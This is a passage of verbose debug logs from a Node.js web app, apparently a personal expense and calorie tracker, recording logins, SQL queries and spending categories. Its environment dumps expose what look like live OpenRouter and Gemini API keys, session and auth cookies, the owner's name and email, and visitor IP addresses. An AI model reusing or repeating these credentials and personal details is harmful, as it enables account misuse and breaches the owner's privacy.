    'HTTP_X_FORWARDED-FOR': '159.223.26.190',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz'
  },
  identity: false,
  content: '/login'
}
2025-12-21T05:27:17.117Z server-connect:router Serving templateView /
2025-12-21T05:27:17.118Z server-connect:app Executing action step identify
2025-12-21T05:27:17.118Z server-connect:app options: { provider: 'security' }
2025-12-21T05:27:17.118Z server-connect:auth No login cookie found
2025-12-21T05:27:17.118Z server-connect:output identity: false
2025-12-21T05:27:17.118Z server-connect:app Executing action step restrict
2025-12-21T05:27:17.119Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-21T05:27:17.120Z server-connect:output restrict: undefined
2025-12-21T05:27:18.237Z server-connect:router Serving templateView /login
2025-12-21T05:27:18.237Z server-connect:app Executing action step identify
2025-12-21T05:27:18.237Z server-connect:app options: { provider: 'security' }
2025-12-21T05:27:18.237Z server-connect:auth No login cookie found
2025-12-21T05:27:18.237Z server-connect:output identity: false
2025-12-21T05:27:18.237Z server-connect:router Render template layouts/authentication
2025-12-21T05:27:18.238Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'accept-language': 'en-US,en;q=0.5',
    'accept-encoding': 'gzip',
    connection: 'keep-alive',
    'upgrade-insecure-requests': '1',
    'sec-fetch-dest': 'document',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-site': 'none',
    'sec-fetch-user': '?1',
    priority: 'u=0, i',
    'x-forwarded-for': '159.223.26.190',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-22T05:27:18.236Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '159.223.26.190',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    'HTTP_SEC_FETCH-DEST': 'document',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-USER': '?1',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_X_FORWARDED-FOR': '159.223.26.190',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-21T05:34:48.650Z server-connect:router Serving templateView /
2025-12-21T05:34:48.650Z server-connect:app Executing action step identify
2025-12-21T05:34:48.650Z server-connect:app options: { provider: 'security' }
2025-12-21T05:34:48.650Z server-connect:output identity: 1
2025-12-21T05:34:48.650Z server-connect:app Executing action step restrict
2025-12-21T05:34:48.650Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-21T05:34:48.653Z server-connect:output restrict: undefined
2025-12-21T05:34:48.653Z server-connect:app Executing action step restrict
2025-12-21T05:34:48.653Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-21T05:34:48.654Z server-connect:output restrict: undefined
2025-12-21T05:34:48.654Z server-connect:router Render template layouts/main
2025-12-21T05:34:48.654Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'u=0, i',
    cookie: 'your_r_git.sid=s%3ANaOgLDoUMkcSS6C-jtYkAxqjysXxY4-6.oCOKuroIjTSC8euTdKNo7lVa7JgO0WXai9InAoJG5ck',
    'x-forwarded-for': '157.48.249.4',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-22T03:59:09.069Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '157.48.249.4',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'your_r_git.sid=s%3ANaOgLDoUMkcSS6C-jtYkAxqjysXxY4-6.oCOKuroIjTSC8euTdKNo7lVa7JgO0WXai9InAoJG5ck',
    'HTTP_X_FORWARDED-FOR': '157.48.249.4',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-21T05:34:49.597Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-21T05:34:49.598Z server-connect:app Executing action step identify
2025-12-21T05:34:49.598Z server-connect:app options: { provider: 'security' }
2025-12-21T05:34:49.598Z server-connect:output identity: 1
2025-12-21T05:34:49.598Z server-connect:app Executing action step restrict
2025-12-21T05:34:49.598Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-21T05:34:49.599Z server-connect:output restrict: undefined
2025-12-21T05:34:49.600Z server-connect:app Executing action step select
2025-12-21T05:34:49.600Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-21T05:34:49.608Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-21T05:34:49.610Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-21T05:34:49.612Z server-connect:app Executing action step identify
2025-12-21T05:34:49.612Z server-connect:app options: { provider: 'security' }
2025-12-21T05:34:49.612Z server-connect:output identity: 1
2025-12-21T05:34:49.612Z server-connect:app Executing action step restrict
2025-12-21T05:34:49.612Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-21T05:34:49.613Z server-connect:output restrict: undefined
2025-12-21T05:34:49.613Z server-connect:app Executing action step single
2025-12-21T05:34:49.613Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-21T05:34:49.613Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-21T05:34:52.297Z server-connect:router Serving templateView /calorie-tracker
2025-12-21T05:34:52.297Z server-connect:app Executing action step identify
2025-12-21T05:34:52.297Z server-connect:app options: { provider: 'security' }
2025-12-21T05:34:52.297Z server-connect:output identity: 1
2025-12-21T05:34:52.297Z server-connect:app Executing action step restrict
2025-12-21T05:34:52.297Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-21T05:34:52.298Z server-connect:output restrict: undefined
2025-12-21T05:34:52.298Z server-connect:router Render template calorie-tracker
2025-12-21T05:34:52.298Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3As1VIO6abQdc8npzk8bYUKg%3D%3D.yrC8Y8GAZpAy%2Bh7Pxticc%2BNRoERDr9bAtUTyhBStCh7hQM2Q92U2Uu%2BrMaOLhjdCLf3KIsi5QG9LDBHXtPzaVVUTGvebzlq5%2BCQizQvHkEpTdHCZiiFuPJ4EtU9tVL1BEKZj4IUba0JfV4uqJO5SjJVKhZ6qnOKLPwBIsapeO3Q%3D.f3hu%2FJKLecrE2I6Roo8CL6Ybi2g3O8kfZgchBgUtUvQ; your_r_git.sid=s%3ANaOgLDoUMkcSS6C-jtYkAxqjysXxY4-6.oCOKuroIjTSC8euTdKNo7lVa7JgO0WXai9InAoJG5ck',
    'x-forwarded-for': '157.48.249.4',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-22T03:59:09.069Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '157.48.249.4',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3As1VIO6abQdc8npzk8bYUKg%3D%3D.yrC8Y8GAZpAy%2Bh7Pxticc%2BNRoERDr9bAtUTyhBStCh7hQM2Q92U2Uu%2BrMaOLhjdCLf3KIsi5QG9LDBHXtPzaVVUTGvebzlq5%2BCQizQvHkEpTdHCZiiFuPJ4EtU9tVL1BEKZj4IUba0JfV4uqJO5SjJVKhZ6qnOKLPwBIsapeO3Q%3D.f3hu%2FJKLecrE2I6Roo8CL6Ybi2g3O8kfZgchBgUtUvQ; your_r_git.sid=s%3ANaOgLDoUMkcSS6C-jtYkAxqjysXxY4-6.oCOKuroIjTSC8euTdKNo7lVa7JgO0WXai9InAoJG5ck',
    'HTTP_X_FORWARDED-FOR': '157.48.249.4',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-21T05:34:52.557Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-21T05:34:52.557Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-21T05:34:52.558Z server-connect:app Executing action step identify
2025-12-21T05:34:52.558Z server-connect:app options: { provider: 'security' }
2025-12-21T05:34:52.558Z server-connect:output identity: 1
2025-12-21T05:34:52.558Z server-connect:app Executing action step restrict
2025-12-21T05:34:52.558Z server-connect:app options: { provider: 'security' }
2025-12-21T05:34:52.558Z server-connect:output restrict: undefined
2025-12-21T05:34:52.558Z server-connect:app Executing action step single
2025-12-21T05:34:52.558Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-21T05:34:52.559Z server-connect:app Executing action step identify
2025-12-21T05:34:52.559Z server-connect:app options: { provider: 'security' }
2025-12-21T05:34:52.559Z server-connect:output identity: 1
2025-12-21T05:34:52.559Z server-connect:app Executing action step restrict
2025-12-21T05:34:52.559Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-21T05:34:52.560Z server-connect:output restrict: undefined
2025-12-21T05:34:52.560Z server-connect:app Executing action step single
2025-12-21T05:34:52.560Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
